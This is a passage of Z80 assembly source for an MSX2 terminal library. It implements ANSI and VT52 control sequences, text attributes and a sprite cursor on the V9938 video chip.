; Clear from the End Of Screen LD C,B ; Put Rows in C LD B,0 ; Indicates to use background color CALL V9938_ClearBlock ANSI_DL_END: LD HL,(EndAddress) JP PrintText_RLP ANSI_CHT: ; ANSI Horizontal Tab LD A,B LD B,1 ; No number is one Tab OR A JR Z,ANSI_CHT_RLP LD A,(Parameters_PRM) LD B,A ; Load the number of repeats ANSI_CHT_RLP: PUSH BC PUSH HL CALL HTabSub POP HL POP BC DJNZ ANSI_CHT_RLP ; It's the end? No? Repeat! JP PrintText_RLP ANSI_CBT: ; ANSI Cursor Backwards Tabulation LD A,B LD B,1 ; No number is one Tab OR A JR Z,ANSI_CBT_RLP LD A,(Parameters_PRM) LD B,A ; Load the number of repeats ANSI_CBT_RLP: PUSH BC PUSH HL CALL CBTabSub POP HL POP BC DJNZ ANSI_CBT_RLP ; It's the end? No? Repeat! JP PrintText_RLP ANSI_ECH: ; ANSI Erase Character LD A,B LD C,1 ; No parameter means erase one character OR A JR Z,ANSI_ECH_DO ; No parameter, no need to calculate, just do it LD A,(CursorCol) LD C,A ; Cursor Position in C LD A,(Parameters_PRM) ; How many chars to delete in A ADD C ; CP 80 ; Let's check if it is lower than 80 (meaning is within our line) JR C,ANSI_ECH_SLP ; If carry, ok, within, so no need to adjust value LD A,80 ; Otherwise let's just say it is 80 to adjust value ANSI_ECH_SLP: SUB C ; Subtract cursor position, this will be original B or what would be the chars up to the 80th character to keep it in the same line LD C,A ; Characters to be erased in C ANSI_ECH_DO: JP V9938_ErChar0 ; Erase those characters ANSI_ICH: ; ANSI Insert Characters LD A,B LD C,1 ; No number is one char inserted OR A JR Z,ANSI_ICH_RLP LD A,(Parameters_PRM) LD C,A ANSI_ICH_RLP: JP V9938_InsertChars ANSI_SD: ; ANSI Scroll Down LD A,B LD B,1 ; No number is one line scroll OR A JR Z,ANSI_SD_RLP LD A,(Parameters_PRM) LD B,A ; Load the number of lines to scroll ANSI_SD_RLP: PUSH BC CALL V9938_ScrollDown POP BC DJNZ ANSI_SD_RLP ; It's the end? No? Repeat! LD HL,(EndAddress) JP PrintText_RLP ANSI_SU: ; ANSI Scroll Up LD A,B LD B,1 ; No number is one line scroll OR A JR Z,ANSI_SU_RLP LD A,(Parameters_PRM) LD B,A ; Load the number of lines to scroll ANSI_SU_RLP: PUSH BC CALL V9938_ScrollUp POP BC DJNZ ANSI_SU_RLP ; It's the end? No? Repeat! LD HL,(EndAddress) JP PrintText_RLP ANSI_SGR: ; ANSI Set Graphics Rendition LD A,B OR A LD DE,Parameters_PRM ; OPJ: Zero parameters -> Reset attributes, JR NZ,ANSI_SGR_RLP LD (DE),A LD B,0x01 ANSI_SGR_RLP: PUSH BC LD A,(DE) INC DE OR A JR Z,ANSI_SGR_RES ; RESET ATTRIBUTES CP 1 JR Z,ANSI_SGR_BLD ; SET FONT TO BOLD CP 7 JR Z,ANSI_SGR_REV ; REVERSE COLORS CP 8 JR Z,ANSI_SGR_CON ; CONCEALED (INVISIBLE) CP 27 JR Z,ANSI_SGR_URV ; UN-REVERSE COLORS CP 30 JR C,ANSI_SGR_UNK ; UNKNOWN / UNSUPPORTED CP 38 JR C,ANSI_SGR_SFC ; SET FOREGROUND COLOR CP 39 JR Z,ANSI_SGR_RFC ; RESET FOREGROUND COLOR CP 40 JR C,ANSI_SGR_UNK ; UNKNOWN / UNSUPPORTED CP 48 JR C,ANSI_SGR_SBC ; SET BACKGROUND COLOR CP 49 JR Z,ANSI_SGR_RBC ; RESET BACKGROUND COLOR ANSI_SGR_UNK: POP BC DJNZ ANSI_SGR_RLP ANSI_SGR_RET: LD HL,(EndAddress) JP PrintText_RLP ANSI_SGR_RES: ; RESET ATTRIBUTES ; PK: Reset text attributes, they ; are: ; 1 Bold ; 4 Underscore ; 5 Blink on ; 7 Reverse Video on ; 8 Concealed on ; By now, this library supports ; BOLD, CONCEALED and REVERSE XOR A LD (HiLighted),A LD (Reversed),A LD (Concealed),A ; PK: Some softwares expects that ; reset restore the text and ; background colors to a sane ; default LD (BackColor),A LD A,0x07 LD (ForeColor),A JR ANSI_SGR_CLR ANSI_SGR_BLD: LD A,0x01 LD (HiLighted),A JR ANSI_SGR_CLR ANSI_SGR_REV: LD A,(Reversed) OR A JR NZ,ANSI_SGR_CLR LD A,0x01 LD (Reversed),A JR ANSI_SGR_SWP ANSI_SGR_CON: LD A,0x01 LD (Concealed),A JR ANSI_SGR_CLR ANSI_SGR_URV: LD A,(Reversed) OR A JR Z,ANSI_SGR_CLR XOR A LD (Reversed),A JR ANSI_SGR_SWP ANSI_SGR_RFC: LD A,37 ANSI_SGR_SFC: SUB 30 LD (ForeColor),A JR ANSI_SGR_CLR ANSI_SGR_RBC: LD A,40 ANSI_SGR_SBC: SUB 40 LD (BackColor),A JR ANSI_SGR_CLR ANSI_SGR_CLR: CALL V9938_SetColors JR ANSI_SGR_UNK ANSI_SGR_SWP: LD A,(ForeColor) LD B,A LD A,(BackColor) LD (ForeColor),A LD A,B LD (BackColor),A JR ANSI_SGR_CLR VT52_ENCURSOR: LD A,(CursorOn) OR A RET NZ ; If already on, nothing to do INC A LD (CursorOn),A ; Other than 0, on LD (CursorUpdt),A ; Other than 0, update its position EnCursorSub: DI LD A,(VDP_08) ; Get a copy of register 8 AND 0b11111101 ; Clear bit to enable sprites LD (VDP_08),A ; Save our value OUT (0x99),A ; Send value to VDP LD A,0x80+8 OUT (0x99),A ; Write to register 8 EI RET VT52_DISCURSOR: LD A,(CursorOn) OR A RET Z ; If already off, nothing to do XOR A LD (CursorOn),A ; 0, off LD (CursorUpdt),A ; 0, do not update its position DisCursorSub: DI LD A,(VDP_08) ; Get a copy of register 8 OR 0b00000010 ; Set bit to disable sprites LD (VDP_08),A ; Save our value OUT (0x99),A ; Send value to VDP LD A,0x80+8 OUT (0x99),A ; Write to register 8 EI RET VT52_UP: LD A,(CursorRow) OR A JP Z,PrintText_RLP DEC A LD (CursorRow),A CALL V9938_SetCursorY JP PrintText_RLP VT52_DW: LD A,(CursorRow) CP 24 JP NC,PrintText_RLP INC A LD (CursorRow),A CALL V9938_SetCursorY JP PrintText_RLP VT52_LE: LD A,(CursorCol) OR A JP Z,PrintText_RLP DEC A LD (CursorCol),A CALL V9938_SetCursorX JP PrintText_RLP VT52_RI: LD A,(CursorCol) CP 79 JP NC,PrintText_RLP INC A LD (CursorCol),A CALL V9938_SetCursorX JP PrintText_RLP VT52_HOME: XOR A LD (CursorCol),A LD (CursorRow),A CALL V9938_SetCursorX CALL V9938_SetCursorY JP PrintText_RLP VT100_SCP: LD (EndAddress),HL JP ANSI_SCP VT100_RCP: LD (EndAddress),HL JP ANSI_RCP BackSpace: CALL BackSpaceSub JP PrintText_RLP BackSpaceSub: LD A,(CursorCol) OR A RET Z DEC A LD (CursorCol),A JP V9938_SetCursorX HorizontalTab: CALL HTabSub LD HL,(EndAddress) JP PrintText_RLP HTabSub: LD A,(CursorCol) ; Get the current column OR 7 ; Goes to the next tabstop ; Tabstops traditionally are ; in each 8th column CP 79 JP Z,HTabSub_SCP INC A ; Some adjusts here and there... HTabSub_SCP: LD (CursorCol),A CALL V9938_SetCursorX RET CBTabSub: LD A,(CursorCol) ; Get the current column DEC A AND 248 ; Goes to the previous tabstop ; Tabstops traditionally were ; in each 8th column CP 248 JP NZ,CBTabSub_SCP XOR A ; Positions belows 0 are 0 CBTabSub_SCP: JR HTabSub_SCP LineFeed: CALL LFeedSub JP PrintText_RLP LFeedSub: LD A,(CursorRow) INC A CP 25 JR C,LFeedSub_NNL CALL V9938_ScrollUp LD A,24 LFeedSub_NNL: LD (CursorRow),A CALL V9938_SetCursorX CALL V9938_SetCursorY RET CarriageReturn: CALL CarriageReturnSub; JP PrintText_RLP CarriageReturnSub: XOR A LD (CursorCol),A JP V9938_SetCursorX _BIOS_C: ; BIOS_C: [IX] LD IY,(0xFCC0) JP 0x001C ; ; V9938 Related Code ; ; This is where all V9938 (MSX2/2+) specific routines and defines are ; VDP_07 EQU 0xF3E6 VDP_08 EQU 0xFFE7 VDP_09 EQU 0xFFE8 VDP_23 EQU 0xFFF6 VDP_01 EQU 0xF3E0 VDP_06 EQU 0xF3E5 VDP_05 EQU 0xF3E4 VDP_11 EQU 0xFFEA VDP_14 EQU 0xFFED VDP_16 EQU 0xFFEF ; SUB-ROM entries ; iniPlt EQU 0x0141 rstPlt EQU 0x0145 ; CALSUB ; ; In: IX = address of routine in MSX2 SUBROM ; AF, HL, DE, BC = parameters for the routine ; ; Out: AF, HL, DE, BC = depending on the routine ; ; Changes: IX, IY, AF', BC', DE', HL' ; ; Call MSX2 subrom from MSXDOS. Should work with all versions of MSXDOS_ ; ; Notice: NMI hook will be changed. This should pose no problem as NMI is ; not supported on the MSX at all_ ; CALSLT EQU 0x001C NMI EQU 0x0066 EXTROM EQU 0x015F EXPTBL EQU 0xFCC1 H_NMI EQU 0xFDD6 ; CALSUB: EXX EX AF,AF' ; store all registers LD HL,EXTROM PUSH HL LD HL,0xC300 PUSH HL ; push NOP ; JP EXTROM PUSH IX LD HL,0x21DD PUSH HL ; push LD IX,<entry> LD HL,0x3333 PUSH HL ; push INC SP; INC SP LD HL,0 ADD HL,SP ; HL = offset of routine LD A,0xC3 LD (H_NMI),A LD (H_NMI+1),HL ; JP <routine> in NMI hook EX AF,AF' EXX ; restore all registers LD IX,NMI LD IY,(EXPTBL-1) CALL CALSLT ; call NMI-hook via NMI entry in ROMBIOS ; NMI-hook will call SUBROM EXX EX AF,AF' ; store all returned registers LD HL,10 ADD HL,SP LD SP,HL ; remove routine from stack EX AF,AF' EXX ; restore all returned registers RET V9938_Init: LD A,0x07 LD IX,0x005F CALL _BIOS_C ; Interslot call to set screen 7 ; Now let's set a lot of registers :) LD A,0x00 LD (VDP_23),A ; R23, first line to draw is 0 DI LD A,0xF0 ; Text1 and Text2 color 15, Border and Background color 0 LD (VDP_07),A ; R7 status OUT (0x99),A LD A,0x80+7 OUT (0x99),A ; Write to register 7 LD A,(VDP_08) ; Get a copy of register 8 OR 0b00100010 ; Set bit so color 0 is 0 in palette and disable sprites LD (VDP_08),A ; Save our value OUT (0x99),A ; Send value to VDP LD A,0x80+8 OUT (0x99),A ; Write to register 8 LD A,(VDP_09) ; Get a copy of register 9 OR 0b10000000 ; 212 Lines by seting 8th bit LD (VDP_09),A ; Save our new value OUT (0x99),A ; Send value to VDP LD A,0x80+9 OUT (0x99),A ; Write to register 9 LD A,0x00 ; Palette register pointer set to 0 LD (VDP_16),A ; Save R16 status OUT (0x99),A ; Send value to VDP LD A,0x80+16 OUT (0x99),A ; Write to register 16, new palette pointer EI ; Ok to have interrupts now LD HL,ANSI_PAL ; Address of our palette LD BC,0x209A ; 32 bytes to move to port 0x9a which will auto-increment palette registers OTIR ; Send it RET ; Done! V9938_Finish: DI LD A,0x00 OUT (0x99),A LD A,0x80+23 OUT (0x99),A ; Register 23 goes to 0 to reset vertical offset LD (VDP_23),A ; R23, first line to draw is 0 LD IX,0xD2 LD IY,(0xFCC0) ; Call TOTEXT bios function CALL CALSLT EI LD IX,iniPlt CALL CALSUB LD IX,rstPlt ; Restore the saved palette CALL CALSUB EI RET ; Done! ;OPJ - Sprite Cursor initialization V9938_InitCursor: DI ; First Set Pattern Table Address LD A,0b00111111 ; sprite pattern table = 1F800-1FFFF LD (VDP_06),A ; Save our value OUT (0x99),A ; Send value LD A,0x80+6 OUT (0x99),A ; Write in register ; Now Set Sprite Attribute Table Address LD A,0b11101111 ; sprite attribute table = 1F600 / So Color Table will be 1F400 (14 - 10 and 3 1s) LD (VDP_05),A ; Save our value OUT (0x99),A ; Send value LD A,0x80+5 OUT (0x99),A ; Write in register LD A,0b00000011 ; A16 - 1 And A15 - 1 LD (VDP_11),A ; Save our value OUT (0x99),A ; Send value LD A,0x80+11 OUT (0x99),A ; Write in register ;SET VDP TO WRITE @ Color Table starting at Sprite 0 (1F400) LD A,0b00000111 ; A16, A15 and A14 set to 1 LD (VDP_14),A ; Save our value OUT (0x99),A ; Send value LD A,0x80+14 OUT (0x99),A ; Write in register LD A,0b00000000 ; Now A7 to A0, all 0's OUT (0x99),A ; Low Address LD A,0b01110100 ; Write (bit 6), A13/A12 to 1(1F) / A11 to 0 and A10 to 1 and A9-A8 to 0 (4) OUT (0x99),A ; High Address ;Colors for 2 sprites is 32 bytes long LD HL,SPRITE_COLORS LD BC,0x2098 V9938_InitCursor_COLRLOOP: OUTI NOP NOP JR NZ,V9938_InitCursor_COLRLOOP ;SET VDP TO WRITE @ Pattern Table starting at Sprite 0 (1F800) LD A,0b00000111 ; A16/15/14 set to 1 LD (VDP_14),A ; Save our value OUT (0x99),A ; Send value LD A,0x80+14 OUT (0x99),A ; Write in register LD A,0b00000000 ; Now A7 to A0, all 0's OUT (0x99),A ; Low Address LD A,0b01111000 ; Write (bit 6), A12 1 OUT (0x99),A ; High Address ;Patterns for 2 sprites is 16 bytes long LD HL,PATTERN_CURSOR LD BC,0x1098 V9938_InitCursor_PATRNLOOP: OUTI NOP NOP JR NZ,V9938_InitCursor_PATRNLOOP ;SET VDP TO WRITE @ Attribute Table starting at Sprite 0 (1F600) LD A,0b00000111 ; A16, A15 and A14 set to 1 LD (VDP_14),A ; Save our value OUT (0x99),A ; Send value LD A,0x80+14 OUT (0x99),A ; Write in register LD A,0b00000000 ; Now A7 to A0, all 0's OUT (0x99),A ; Low Address LD A,0b01110110 ; Write (bit 6), A13/A12 to 1(1F) / A11 to 0 and A10/A9 to 1 and A8 to 0 (6) OUT (0x99),A ; High Address ;Attributes for 2 sprites is 8 bytes long LD HL,SPRITE_TABLE LD BC,0x0898 V9938_InitCursor_ATTRLOOP: OUTI NOP NOP JR NZ,V9938_InitCursor_ATTRLOOP ; Done with setting DI LD A,(VDP_08) ; Get a copy of register 8 AND 0b11111101 ; Enable Sprites (cursor) LD (VDP_08),A ; Save our value OUT (0x99),A ; Send value to VDP LD A,0x80+8 OUT (0x99),A ; Write to register 8 EI LD (CursorOn),A ; Other than 0, on LD (CursorUpdt),A ; Other than 0, update it's position RET V9938_CursorColor: ;SET VDP TO WRITE @ Color Table starting at Sprite 0 Line 6 (1F405) LD A,0b00000111 ; A16, A15 and A14 set to 1 DI LD (VDP_14),A ; Save our value OUT (0x99),A ; Send value LD A,0x80+14 OUT (0x99),A ; Write in register LD A,0b00000101 ; Now A7 to A0 OUT (0x99),A ; Low Address LD A,0b01110100 ; Write (bit 6), A13/A12 to 1(1F) / A11 to 0 and A10 to 1 and A9-A8 to 0 (4) OUT (0x99),A ; High Address LD A,(HiLighted) OR A LD A,(ForeColor) JR Z,V9938_CursorColor_NHA ADD 0x08 V9938_CursorColor_NHA: OR 0x20 ; Color attribute LD B,2 V9938_CursorColor_CCLRLOOP: ;Update 1st line OUT (0x98),A NOP NOP DJNZ V9938_CursorColor_CCLRLOOP EI RET V9938_PrintChar: LD B,A LD A,(Concealed) OR A JR NZ,V9938_PrintChar_SPC ; Concealed = not visible -> space LD A,B CP 0x20 JR Z,V9938_PrintChar_SPC ; Space -> just blank / background color CP 0xDB JR Z,V9938_PrintChar_FIL ; Fill -> just filled / foreground color LD DE,FontData ; Otherwise, let's get from our font LD L,A LD H,0 ; Character in HL ADD HL,HL ADD HL,HL ADD HL,HL ; Each caracter is composed of 8 bytes, thus multiply by 8 ADD HL,DE ; Add to font table start address and we got our character LD DE,ColorTable ; Color Table address in DE LD A,(HL) ; First line of this character in A AND 0b11000000 ; Dealing with the 8th and 7th bits, we are going to print every two pixels, left to right RLCA RLCA ADD A,ColorTable & 255 ; Ok, so this is the base of color table (back/back, back/fore, fore/back, fore/fore) depending on each pixel LD E,A ; move it to E LD A,(DE) ; And A has the result of the two pixels LD (HMMC_CMD_CLR),A ; Move it to HMMC color pair (the first two pixels of HMMC operation) CALL DO_HMMC ; Move this to VDP LD BC,0x089B ; now going to do for the remaining 7 bytes JR V9938_PrintChar_BP1 V9938_PrintChar_BP0: LD A,(HL) AND 0b11000000 ; Dealing with the 8th and 7th bits, we are going to print every two pixels, left to right RLCA RLCA ADD A,ColorTable & 255 ; Ok, so this is the base of color table (back/back, back/fore, fore/back, fore/fore) depending on each pixel LD E,A ; move it to E LD A,(DE) ; And A has the result of the two pixels OUT (C),A ; Send it V9938_PrintChar_BP1: LD A,(HL) AND 0b00110000 ; Now we are dealing with the 5th and 6th bits RRCA RRCA RRCA RRCA ADD A,ColorTable & 255 ; Ok, so this is the base of color table (back/back, back/fore, fore/back, fore/fore) depending on each pixel LD E,A ; move it to E LD A,(DE) ; And A has the result of the two pixels OUT (C),A ; Send it V9938_PrintChar_BP2: LD A,(HL) AND 0b00001100 ; Now we are dealing with the 3rd and 4th bits RRCA RRCA ADD A,ColorTable & 255 ; Ok, so this is the base of color table (back/back, back/fore, fore/back, fore/fore) depending on each pixel LD E,A ; move it to E LD A,(DE) ; And A has the result of the two pixels OUT (C),A ; Send it (characters are contained in bits 8 to 3 (including), bits 1 and 2 are not used, 6 bits wide font V9938_PrintChar_RLP: INC HL ; Next row of pixels for this character DJNZ V9938_PrintChar_BP0 ; If not fineshed, let's start for the next row of pixels (B has the count) RET ; Otherwise, finished printing all 8 rows V9938_PrintChar_SPC: LD A,(ColorTable+0) LD (HMMC_CMD_CLR),A ; Space is background and background CALL DO_HMMC ; setup HMMC and do the first two pixels LD A,(ColorTable+0) ; Again, background on background V9938_PrintChar_OUT: LD BC,0x179B ; 8*3 (double pixels) = 24, lets do the reamaining 23 V9938_PrintChar_SPL: OUT (C),A ; Send it DJNZ V9938_PrintChar_SPL ; Decrement counter, if not zero, do it again RET ; Done V9938_PrintChar_FIL: LD A,(ColorTable+3) LD (HMMC_CMD_CLR),A ; Fill is foreground and foreground CALL DO_HMMC ; setup HMMC and do the first two pixels LD A,(ColorTable+3) ; Again foreground and foreground JR V9938_PrintChar_OUT ; Repeat the remaining pixels V9938_ScrollUp: PUSH HL LD A,25 LD B,0 ;Indicates to use background color CALL V9938_ClearLine ; OPJ - To avoid previous lines to show in the bottom when rolling multiple lines LD B,1 ;Indicates to use border color CALL V9938_ClearTop POP HL LD A,(VDP_23) ADD 0x08 LD (VDP_23),A DI OUT (0x99),A LD A,0x80+23 OUT (0x99),A EI RET V9938_ScrollDown: PUSH HL LD A,24 LD B,1 ;Indicates to use border color CALL V9938_ClearLine POP HL LD A,(VDP_23) SUB 0x08 LD (VDP_23),A DI OUT (0x99),A LD A,0x80+23 OUT (0x99),A EI ; Make sure the first line now has the correct color attribute LD B,0 ;Indicates to use background color CALL V9938_ClearTop RET V9938_SetCursorX: LD A,(CursorCol) LD B,A ADD A,A ADD A,B ADD A,8 ; Border offset 16 pixels LD (SPRITEPOS_X),A ADD A,A ; HMMC work with real pixel count, not double pixels LD (HMMC_CMD_DXL),A LD A,0 ; Do not want to change carry JR NC,V9938_SetCursorX_SETDXH INC A ; If carry it is 1 V9938_SetCursorX_SETDXH: LD (HMMC_CMD_DXH),A LD A,(CursorUpdt) ; If cursor is being updated, update its position in the table OR A RET Z ;SET VDP TO WRITE @ 0x1F601 - Attribute Table LD A,0b00000111 ; A16, A15 and A14 set to 1 LD (VDP_14),A ; Save our value DI OUT (0x99),A ; Send value LD A,0x80+14 OUT (0x99),A ; Write in register LD A,0b00000001 ; Now A7 to A0, all 0's OUT (0x99),A ; Low Address LD A,0b01110110 ; Write (bit 6), A13/A12 to 1(1F) / A11 to 0 and A10/A9 to 1 and A8 to 0 (6) OUT (0x99),A ; High Address ; X Position LD A,(SPRITEPOS_X) OUT (0x98),A ; Set X EI RET V9938_SetCursorY: LD A,(CursorRow) ADD A,A ADD A,A ADD A,A LD B,A ; Copy IYL to B LD A,(VDP_23) ; Get current vertical offset ADD A,B ; Add our IYL to it LD (HMMC_CMD_DYL),A LD A,(CursorUpdt) ; If cursor is being updated, update its position in the table OR A RET Z ;SET VDP TO WRITE @ 0x1F600 - Attribute Table LD A,0b00000111 ; A16, A15 and A14 set to 1 LD (VDP_14),A ; Save our value DI OUT (0x99),A ; Send value LD A,0x80+14 OUT (0x99),A ; Write in register LD A,0b00000000 ; Now A7 to A0, all 0's OUT (0x99),A ; Low Address LD A,0b01110110 ; Write (bit 6), A13/A12 to 1(1F) / A11 to 0 and A10/A9 to 1 and A8 to 0 (6) OUT (0x99),A ; High Address ; Y Position LD A,(HMMC_CMD_DYL) LD B,A ; Copy IYL to B OUT (0x98),A ; Set Y EI RET V9938_ClearLine: LD C,1 V9938_ClearBlock: ; ; A <- SourceRow ; B <- 0 fill w/ back color otherwise fill w/ border color ; C <- Rows ; ADD A,A ADD A,A ADD A,A LD (HMMV_CMD_DYL),A ; Number of lines * 8 = position of the last line LD A,C ADD A,A ADD A,A ADD A,A LD (HMMV_CMD_NYL),A ; Will paint a rectangle with C*8 pixels on the Y axys XOR A LD (HMMV_CMD_DXL),A LD A,0xE0 LD (HMMV_CMD_NXL),A LD A,0x01 LD (HMMV_CMD_NXH),A ; The rectangle is 480 pixels on the X axis LD A,B OR A LD A,(BackColor) JR Z,V9938_ClearBlock_Cont LD A,(BorderColor) V9938_ClearBlock_Cont: LD (ClearColor),A ADD A,A ADD A,A ADD A,A ADD A,A LD B,A LD A,(ClearColor) OR B ; Adjust color in the right format LD (HMMV_CMD_CLR),A ; Color to paint the rectangle JP DO_HMMV ; OPJ - To avoid previous lines to show in the bottom when rolling multiple lines V9938_ClearTop: XOR A LD (HMMV_CMD_DYL),A ; position of the first line LD A,0x08 LD (HMMV_CMD_NYL),A ; Will paint a rectangle with 8 pixels on the Y axys XOR A LD (HMMV_CMD_DXL),A LD A,0xE0 LD (HMMV_CMD_NXL),A LD A,0x01 LD (HMMV_CMD_NXH),A ; The rectangle is 480 pixels on the X axis LD A,B OR A LD A,(BackColor) JR Z,V9938_ClearTop_Cont LD A,(BorderColor) V9938_ClearTop_Cont: LD (ClearColor),A ADD A,A ADD A,A ADD A,A ADD A,A LD B,A LD A,(ClearColor) OR B ; Adjust color in the right format LD (HMMV_CMD_CLR),A ; Color to paint the rectangle JP DO_HMMV V9938_ClearScreen: CALL V9938_WaitCmd ; Make sure VDP is not processing any command DI ;OPJ - Set border color same as back color LD A,(BackColor) ; Text1 and Text2 color 15, Border and Background color 0 LD (BorderColor),A ; Save the new border color LD (VDP_07),A OUT (0x99),A LD A,0x80+7 OUT (0x99),A ; Write to register 7 ;OPJ - End LD A,0x24 OUT (0x99),A LD A,0x91 OUT (0x99),A ; Indirect access to registers, starting at 36 EI LD C,0x9B ;Now indirect writes starting at register 36 XOR A OUT (C),A ; DXL = 0 NOP OUT (C),A ; DXH = 0 NOP OUT (C),A ; DYL = 0 NOP OUT (C),A ; DYH = 0 NOP OUT (C),A ; NXL = 0 LD A,0x02 OUT (C),A ; NXH = 2 (512 dots) XOR A OUT (C),A ; NYL = 0 INC A OUT (C),A ; NYH = 1 (256 dots) LD A,(BackColor) ADD A,A ADD A,A ADD A,A ADD A,A LD B,A LD A,(BackColor) OR B OUT (C),A ; CLR LD A,0x00 OUT (C),A ; ARG LD A,0xC0 OUT (C),A ; CMD RET V9938_InsertChars: ; Number of characters to insert in C LD A,(CursorCol) ; LD B,A ; Cursor column in B ADD A,C ; Lets Check if cursor pos + inserted characters equals or exceed a line limit CP 79 ; So, if 79 (80 columns) or less, will carry JP NC,V9938_ErLin0 ; If no carry, no need to move blocks, we can just use a line deletion that will be way faster ; If here cursor pos + inserted characters less than a line, so we need to do the following: ; - Calculate the size of the block to move (End of screen - (Cursor Position + Inserted Chars)) ; - Move the block (it should be a move to the left, from right edge - inserted chars ; - Erase of Inserted Chars beginning in the cursor position LD A,79 SUB A,B ; Ok, how many characters do we have including the one in cursor? SUB A,C ; And this is how many characters we need to move to cursor position + inserted chars INC A LD B,A ; B contains character width of block being moved ADD A,A ADD A,B ; Multiply it by 3, number of "double pixels" (6 pixel width, 3 double pixels width) ADD A,A ; And now double it to adjust, length is in pixels LD (HMMM_CMD_NXL),A ; Store as NX lower byte LD A,0x00 ; Probably will be 0 NX higher byte JR NC,V9938_InsChr_NXH ; But if carry, means it is 1 INC A ; If carry, NXh is 1 V9938_InsChr_NXH: LD (HMMM_CMD_NXH),A ; Store it LD A,0x08 LD (HMMM_CMD_NYL),A ; A line has 8 pixels, so NYL is 8 ; No need to change NYH, always 0 LD A,C ADD A,A ADD A,C LD D,A ; Number of chars to insert *3 in D LD A,0xEE ; Rightmost edge in pixels is 0x01DE LD (HMMM_CMD_DXL),A ; Now destination is rightmost edge LD A,0x01 ; Rightmost edge in pixels is 0x01DE LD (HMMM_CMD_DXH),A ; Now destination is rightmost edge LD A,247 ; Rightmost edge in double pixels 239 + 8 pixels from the border = 247 SUB A,D ; This is our source, rightmost edge - number of chars to insert ADD A,A ; Multiply by 2 LD (HMMM_CMD_SXL),A ; Save source LD A,0x00 ; XH could be 0 JR NC,V9938_InsChr_SXH ; If no carry, it is 0 INC A ; Otherwise it is 1 V9938_InsChr_SXH: LD (HMMM_CMD_SXH),A ; Save XH LD A,(CursorRow) ; Current cursor line ADD A,A ADD A,A ADD A,A ; Multiply it by 8, it is the first line of that character line (8 pixels high character) LD B,A ; Copy Y to B LD A,(VDP_23) ; Get current vertical offset ADD A,B ; Add our Y to it LD (HMMM_CMD_DYL),A ; This is the Y destination LD (HMMM_CMD_SYL),A ; As well as the Y source LD A,0x04 ; We need the direction of move to be to the left, otherwise it won't work properly LD (HMMM_CMD_ARG),A ; PUSH BC ; Save Number of chars to insert CALL DO_HMMM ; All set, let's move POP BC ; Restore Number of chars to insert ; Number of chars to erase (where characters will be inserted) is in C, ErChar will do the rest and return JP V9938_ErChar0 ; Observing Windows 10 terminal behavior as well as XTERM, Del Char only deletes characters in the same line ; Lines below are left untouched even if of chars to delete surpass the of chars in the line, and it does ; not shift lines below up_ V9938_DelChr: LD C,A ; Number of characters to delete in C LD A,(CursorCol) ; LD B,A ; Cursor column in B ADD A,C ; Lets Check if cursor pos + deleted characters equals or exceed a line limit CP 79 ; So, if 78 (79 columns) or less, will carry JP NC,V9938_ErLin0 ; If no carry, no need to move blocks, we can just use a line deletion that will be way faster ; If here cursor pos + deleted characters less than a line, so we need to do the following: ; - Calculate the size of the block to move (End of screen - (Cursor Position + Deleted Chars)) ; - Move the block ; - Erase of Deleted Chars after the end of the block LD A,80 SUB A,B ; Ok, how many characters do we have including the one in cursor? SUB A,C ; And this is how many characters we need to copy to cursor position INC A ; PUSH AF ; Save this, we will use it later to delete characters by fake positioning cursor @ cursor pos + moved characters +1 and deleting from there to the end of line :) LD B,A ; B contains character width of block being moved ADD A,A ADD A,B ; Multiply it by 3, number of "double pixels" (6 pixel width, 3 double pixels width) ADD A,A ; And now double it to adjust lsb not considered LD (HMMM_CMD_NXL),A ; Store as NX lower byte LD A,0x00 ; Probably will be 0 NX higher byte LD (HMMM_CMD_ARG),A ; Take this chance to load CMD ARG we need for this operation (00) JR NC,V9938_DelChr_NXH ; But if carry, means it is 1 INC A ; If carry, NXh is 1 V9938_DelChr_NXH: LD (HMMM_CMD_NXH),A ; Store it LD A,0x08 LD (HMMM_CMD_NYL),A ; No need to change NYH, always 0 LD A,(CursorCol) LD B,A ADD A,A ADD A,B ; Just adjust to count of "double pixels", HMMM function will handle DXH and shifting it LD D,A ; Save A in D ADD 0x08 ; Add 8 to X (A) - Border of 16 pixels ADD A,A ; Multiply by 2 LD (HMMM_CMD_DXL),A ; Destination is current cursor position LD A,0x00 ; XH could be 0 JR NC,V9938_DelChr_DXH ; If no carry, it is 0 INC A ; Otherwise it is 1 V9938_DelChr_DXH: LD (HMMM_CMD_DXH),A ; Save XH LD A,C ; Now source is what is in D + 3 times what is in C ADD A,A ADD A,C ; A contains 3xdeleted characters ADD A,D ; + cursor position, this is the position of source X :D ADD 0x08 ; Add 8 to X (A) - Border of 16 pixels ADD A,A ; Multiply by 2 LD (HMMM_CMD_SXL),A ; Source is current cursor position + deleted characters LD A,0x00 ; XH could be 0 JR NC,V9938_DelChr_SXH ; If no carry, it is 0 INC A ; Otherwise it is 1 V9938_DelChr_SXH: LD (HMMM_CMD_SXH),A ; Save XH LD A,(CursorRow) ; Current cursor line ADD A,A ADD A,A ADD A,A ; Multiply it by 8, it is the first line of that character line (8 pixels high character) LD B,A ; Copy Y to B LD A,(VDP_23) ; Get current vertical offset ADD A,B ; Add our Y to it LD (HMMM_CMD_DYL),A ; This is the Y destination LD (HMMM_CMD_SYL),A ; As well as the Y source CALL DO_HMMM ; All set, let's move POP BC ; What we need to Add to Cursor is restored in B LD A,(CursorCol) ; Current Cursor Column ADD A,B ; Our fake cursor position JP V9938_ErLin0_1 ; Erase Line, but using what is in A, our fake cursor position, and return to processing after done V9938_DelChr_SL: LD HL,(EndAddress) JP PrintText_RLP V9938_ErDis0: CALL V9938_ErDis0Sub LD HL,(EndAddress) JP PrintText_RLP V9938_ErDis0Sub: LD A,(CursorCol) LD B,A ADD A,A ADD A,B LD (HMMV_CMD_DXL),A ; DX = Number of column * 3 (this mode has doubled pixels in X axis) LD B,A LD A,240 ; We draw up to 240 double-pixels (6 pixels wide characters * 80 columns) SUB A,B ; Except the pixels data up to the cursor position ADD A,A ; And now double it LD (HMMV_CMD_NXL),A ; Store as NX lower byte LD A,0x00 ; Probably will be 0 NX higher byte JR NC,V9938_ErDis0_NXH ; But if carry, means it is 1 INC A ; If carry, NXh is 1 V9938_ErDis0_NXH: LD (HMMV_CMD_NXH),A ; Store it LD A,(CursorRow) ; Now get the row / line ADD A,A ; 8 pixels height each character, multiply it per 8 ADD A,A ADD A,A LD (HMMV_CMD_DYL),A ; This is the Y axys start LD A,0x08 LD (HMMV_CMD_NYL),A ; To clear a single line it is 8 pixels height number of dots height LD A,(BackColor) ADD A,A ADD A,A ADD A,A ADD A,A LD B,A LD 